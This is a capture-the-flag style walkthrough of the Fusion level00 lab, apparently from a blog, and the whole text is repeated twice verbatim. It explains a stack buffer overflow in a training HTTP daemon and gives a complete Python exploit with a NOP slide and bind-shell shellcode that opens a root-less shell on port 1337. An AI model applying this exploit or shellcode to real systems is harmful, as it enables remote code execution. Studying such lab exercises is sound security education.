Fusion 0x00 - Level00
Next: 0x01 - Level01 pt 1
This level is explained as a warm-up. We know that the Fusion series will present us with certain protections against exploitation, but this level has no such protections and is effectively a standard stack buffer overflow exploit.
Starting with "main," we can see the standard daemon server setup that we are familiar with from the Protostar Net and Final levels. It calls only one function that we are concerned with: "parse_http_request."
This function first declares a char buffer and two char pointers, then prints the address of the buffer. Next, it reads our input via "read," and compares the first 4 characters to "GET ", erroring out if the compare returns a nonzero integer, meaning that the strings are not equivalent per the "memcmp" man page.
Next, it checks out input after the first four "GET " characters to see if we've supplied an additional space, indicating that we've provided a protocol. Then, it checks our input after this second space to see whether it matches the string "HTTP/1.1". If either of these checks fail, we receive a corresponding error message. In short, these checks are looking to see whether we've provided input in the form of "GET [path] HTTP/1.1".
If these checks within "parse_http_request" pass, "fix_path" is called on "path," which is defined as our buffer plus 4 (our input after "GET ").
"path" is straightforward - it declares a 128-byte "resolved" buffer, uses it as the destination for the "realpath" function, and then calls "strcpy" to copy "path" to it.
As we know, "path" has a buffer size of ~1,024, while "resolved" is only 128 bytes, so herein lies our vulnerability. However, we must keep in mind that space (or "0x20") is effectively off-limits because of the "strchr" function above which looks for "HTTP/1.1" after the first occurrence of space.
If we check for listening ports using "netstat," we find ports ranging from 20000 to 20008, so we can assume level00 is listening via 20000.
fusion@fusion:/tmp$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:20002 *:* LISTEN
tcp 0 0 *:20003 *:* LISTEN
...
tcp 0 0 *:20000 *:* LISTEN
...
Let's write a Python script to connect to this port and send some input with some sort of pattern that will help us decipher which bytes are used as either pointers or return addresses.
However, simply crashing the program will not provide us with much direction - we will need to understand when and how the program crashes. To do this, we can use gdb, but we'll need to attach gdb to the process while it is running. One trick we can do for this is to add a "raw_input()" function, which waits for user input. This will keep the program open while we try to find its process ID so we can debug in a separate terminal window.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 20000))
buffer = "A" * 128 #to fill the buffer
buffer += "BCDEFGHIJKLMNOPQRSTUVWXYZ" #overflow the buffer with a pattern
payload = "GET " + buffer + " HTTP/1.1"
print s.recv(1024)
print "press enter to continue..."
raw_input() #pause the program before our input for debugging purposes
s.send(payload)
s.close()
Let's now open a second terminal and run this program:
fusion@fusion:/tmp$ python level00.py
[debug] buffer is at 0xbffff8f8 :-)
press enter to continue...
We can now use "ps" with the "aux" modifiers to print all active processes, and search for "level00."
fusion@fusion:/tmp$ ps aux | grep level00
20000 18120 0.0 0.0 1816 52 ? S 18:42 0:00 /opt/fusion/bin/level00
fusion 18598 0.3 0.2 10352 4248 pts/1 S+ 19:39 0:00 python level00.py
20000 18599 0.0 0.0 1816 52 ? S 19:39 0:00 /opt/fusion/bin/level00
fusion 18606 0.0 0.0 4188 796 pts/0 S+ 19:39 0:00 grep --color=auto level00
Because of "grep" we've omitted the header row, but if we run "ps aux" by itself, we can see that the third column from the right is the start time, and the first column is the user. We want to locate the process ID (second column in orange above) for the most recent process started by user 20000 (the processes started through "fusion" are the parent processes).
In my case above, the process ID is 18599. Let's run gdb with this pid using the "-p" modifier. According to the level, we'll need to use "sudo -s" with password = "godmode".
fusion@fusion:/tmp$ sudo -s gdb -p 18599
[sudo] password for fusion:
GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08
...
Loaded symbols for /lib/ld-linux.so.2
0xb7fdf424 in __kernel_vsyscall ()
Now we're in the running process. Let's navigate back to the terminal where our Python script is paused, and then hit any key to resume. Then, we'll hop back into the terminal with gdb to continue and see where we crash:
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x504f4e4d in ?? ()
(gdb) x/i $eip
=> 0x504f4e4d: Cannot access memory at address 0x504f4e4d
We can see that "0x504f4e4d" was popped into eip, and generated our crash. This is the hex equivalent of the string "MNOP." If we delete these characters and all letters after it in our "pattern," we've have an overflow that takes us all the way to a return address!
Now, we need to know where to return to. The "resolved" buffer within the "fix_path" function is a bit small at 128 bytes, but we can also see that our original buffer is located just above us on the stack. The program is even helpful enough to print its address for us - above, we can see that it's located at "0xbffff8f8." Let's add 4 bytes for the "GET " input, 128 for the buffer size, 11 for the remaining overflow, 4 bytes for the overwritten return address, and then another 10 as we'll be adding a 20-byte NOP slide in case our math is wrong!
As for the final piece of the puzzle, the shellcode, I will again utilize Julien Ahrens's shellcode for a shell bind. This shellcode uses netcat to listen on port 1337, executing "/bin/sh" once it is connected to.
Here's our final Python script:
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 20000))
buffer = "A" * 128
buffer += "BCDEFGHIJKL" #to overflow to the ret address
new_ret = struct.pack("<I", 0xbffff8f8 + 4 + 128 + 11 + 4 + 10)
nops = "\x90" * 20 #just in case?
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89" \
"\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66" \
"\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3" \
"\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89" \
"\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79" \
"\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" \
"\xe3\x41\x89\xca\xcd\x80"
payload = "GET " + buffer + new_ret + nops + shellcode + " HTTP/1.1"
print s.recv(1024)
print "press enter to continue..."
raw_input() #pause the program before our input for debugging purposes
s.send(payload)
print s.recv(1024)
s.close()
If we run the program in a separate terminal, then find the pid using the process explained above and break at the "ret" instruction within "fix_path," this is what we see:
(gdb) break *fix_path+63
Breakpoint 1 at 0x8049854: file level00/level00.c, line 9.
(gdb) c
Continuing.
Breakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x4c4b4a51
) at level00/level00.c:9
9 in level00/level00.c
(gdb) x/x $esp
0xbffff8dc: 0xbffff995
(gdb) x/8wx 0xbffff995
0xbffff995: 0x90909090 0x90909090 0x666a9090 0x5b016a58
0xbffff9a5: 0x5356f631 0xe189026a 0x975f80cd 0x5666b093
We can see that the program struggles with accessing memory at "0x4c4b4a51," but we aren't too concerned as we can see the program proceeds to the "ret" instruction within "fix_path." Once we get there, we can see that esp is pointing to the address we've supplied, and when we examine it, we can see that we land right inside of our (somewhat unnecessary) NOP slide. If we continue, we see that we segfault as we didn't provide a method for exiting cleanly, but for our purposes here that is fine.
Finally, if we check for listening ports, we find 1337 is actively listening, and we can connect using netcat:
fusion@fusion:/tmp$ netstat -l | grep 1337
tcp 0 0 *:1337 *:* LISTEN
fusion@fusion:/tmp$ nc localhost 1337
id
uid=20000 gid=20000 groups=20000
Success!
Next: 0x01 - Level01 pt 1
This level is explained as a warm-up. We know that the Fusion series will present us with certain protections against exploitation, but this level has no such protections and is effectively a standard stack buffer overflow exploit.
Starting with "main," we can see the standard daemon server setup that we are familiar with from the Protostar Net and Final levels. It calls only one function that we are concerned with: "parse_http_request."
This function first declares a char buffer and two char pointers, then prints the address of the buffer. Next, it reads our input via "read," and compares the first 4 characters to "GET ", erroring out if the compare returns a nonzero integer, meaning that the strings are not equivalent per the "memcmp" man page.
Next, it checks out input after the first four "GET " characters to see if we've supplied an additional space, indicating that we've provided a protocol. Then, it checks our input after this second space to see whether it matches the string "HTTP/1.1". If either of these checks fail, we receive a corresponding error message. In short, these checks are looking to see whether we've provided input in the form of "GET [path] HTTP/1.1".
If these checks within "parse_http_request" pass, "fix_path" is called on "path," which is defined as our buffer plus 4 (our input after "GET ").
"path" is straightforward - it declares a 128-byte "resolved" buffer, uses it as the destination for the "realpath" function, and then calls "strcpy" to copy "path" to it.
As we know, "path" has a buffer size of ~1,024, while "resolved" is only 128 bytes, so herein lies our vulnerability. However, we must keep in mind that space (or "0x20") is effectively off-limits because of the "strchr" function above which looks for "HTTP/1.1" after the first occurrence of space.
If we check for listening ports using "netstat," we find ports ranging from 20000 to 20008, so we can assume level00 is listening via 20000.
fusion@fusion:/tmp$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:20002 *:* LISTEN
tcp 0 0 *:20003 *:* LISTEN
...
tcp 0 0 *:20000 *:* LISTEN
...
Let's write a Python script to connect to this port and send some input with some sort of pattern that will help us decipher which bytes are used as either pointers or return addresses.
However, simply crashing the program will not provide us with much direction - we will need to understand when and how the program crashes. To do this, we can use gdb, but we'll need to attach gdb to the process while it is running. One trick we can do for this is to add a "raw_input()" function, which waits for user input. This will keep the program open while we try to find its process ID so we can debug in a separate terminal window.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 20000))
buffer = "A" * 128 #to fill the buffer
buffer += "BCDEFGHIJKLMNOPQRSTUVWXYZ" #overflow the buffer with a pattern
payload = "GET " + buffer + " HTTP/1.1"
print s.recv(1024)
print "press enter to continue..."
raw_input() #pause the program before our input for debugging purposes
s.send(payload)
s.close()
Let's now open a second terminal and run this program:
fusion@fusion:/tmp$ python level00.py
[debug] buffer is at 0xbffff8f8 :-)
press enter to continue...
We can now use "ps" with the "aux" modifiers to print all active processes, and search for "level00."
fusion@fusion:/tmp$ ps aux | grep level00
20000 18120 0.0 0.0 1816 52 ? S 18:42 0:00 /opt/fusion/bin/level00
fusion 18598 0.3 0.2 10352 4248 pts/1 S+ 19:39 0:00 python level00.py
20000 18599 0.0 0.0 1816 52 ? S 19:39 0:00 /opt/fusion/bin/level00
fusion 18606 0.0 0.0 4188 796 pts/0 S+ 19:39 0:00 grep --color=auto level00
Because of "grep" we've omitted the header row, but if we run "ps aux" by itself, we can see that the third column from the right is the start time, and the first column is the user. We want to locate the process ID (second column in orange above) for the most recent process started by user 20000 (the processes started through "fusion" are the parent processes).
In my case above, the process ID is 18599. Let's run gdb with this pid using the "-p" modifier. According to the level, we'll need to use "sudo -s" with password = "godmode".
fusion@fusion:/tmp$ sudo -s gdb -p 18599
[sudo] password for fusion:
GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08
...
Loaded symbols for /lib/ld-linux.so.2
0xb7fdf424 in __kernel_vsyscall ()
Now we're in the running process. Let's navigate back to the terminal where our Python script is paused, and then hit any key to resume. Then, we'll hop back into the terminal with gdb to continue and see where we crash:
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x504f4e4d in ?? ()
(gdb) x/i $eip
=> 0x504f4e4d: Cannot access memory at address 0x504f4e4d
We can see that "0x504f4e4d" was popped into eip, and generated our crash. This is the hex equivalent of the string "MNOP." If we delete these characters and all letters after it in our "pattern," we've have an overflow that takes us all the way to a return address!
Now, we need to know where to return to. The "resolved" buffer within the "fix_path" function is a bit small at 128 bytes, but we can also see that our original buffer is located just above us on the stack. The program is even helpful enough to print its address for us - above, we can see that it's located at "0xbffff8f8." Let's add 4 bytes for the "GET " input, 128 for the buffer size, 11 for the remaining overflow, 4 bytes for the overwritten return address, and then another 10 as we'll be adding a 20-byte NOP slide in case our math is wrong!
As for the final piece of the puzzle, the shellcode, I will again utilize Julien Ahrens's shellcode for a shell bind. This shellcode uses netcat to listen on port 1337, executing "/bin/sh" once it is connected to.
Here's our final Python script:
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 20000))
buffer = "A" * 128
buffer += "BCDEFGHIJKL" #to overflow to the ret address
new_ret = struct.pack("<I", 0xbffff8f8 + 4 + 128 + 11 + 4 + 10)
nops = "\x90" * 20 #just in case?
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89" \
"\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66" \
"\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3" \
"\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89" \
"\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79" \
"\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" \
"\xe3\x41\x89\xca\xcd\x80"
payload = "GET " + buffer + new_ret + nops + shellcode + " HTTP/1.1"
print s.recv(1024)
print "press enter to continue..."
raw_input() #pause the program before our input for debugging purposes
s.send(payload)
print s.recv(1024)
s.close()
If we run the program in a separate terminal, then find the pid using the process explained above and break at the "ret" instruction within "fix_path," this is what we see:
(gdb) break *fix_path+63
Breakpoint 1 at 0x8049854: file level00/level00.c, line 9.
(gdb) c
Continuing.
Breakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x4c4b4a51
) at level00/level00.c:9
9 in level00/level00.c
(gdb) x/x $esp
0xbffff8dc: 0xbffff995
(gdb) x/8wx 0xbffff995
0xbffff995: 0x90909090 0x90909090 0x666a9090 0x5b016a58
0xbffff9a5: 0x5356f631 0xe189026a 0x975f80cd 0x5666b093
We can see that the program struggles with accessing memory at "0x4c4b4a51," but we aren't too concerned as we can see the program proceeds to the "ret" instruction within "fix_path." Once we get there, we can see that esp is pointing to the address we've supplied, and when we examine it, we can see that we land right inside of our (somewhat unnecessary) NOP slide. If we continue, we see that we segfault as we didn't provide a method for exiting cleanly, but for our purposes here that is fine.
Finally, if we check for listening ports, we find 1337 is actively listening, and we can connect using netcat:
fusion@fusion:/tmp$ netstat -l | grep 1337
tcp 0 0 *:1337 *:* LISTEN
fusion@fusion:/tmp$ nc localhost 1337
id
uid=20000 gid=20000 groups=20000
Success!
Next: 0x01 - Level01 pt 1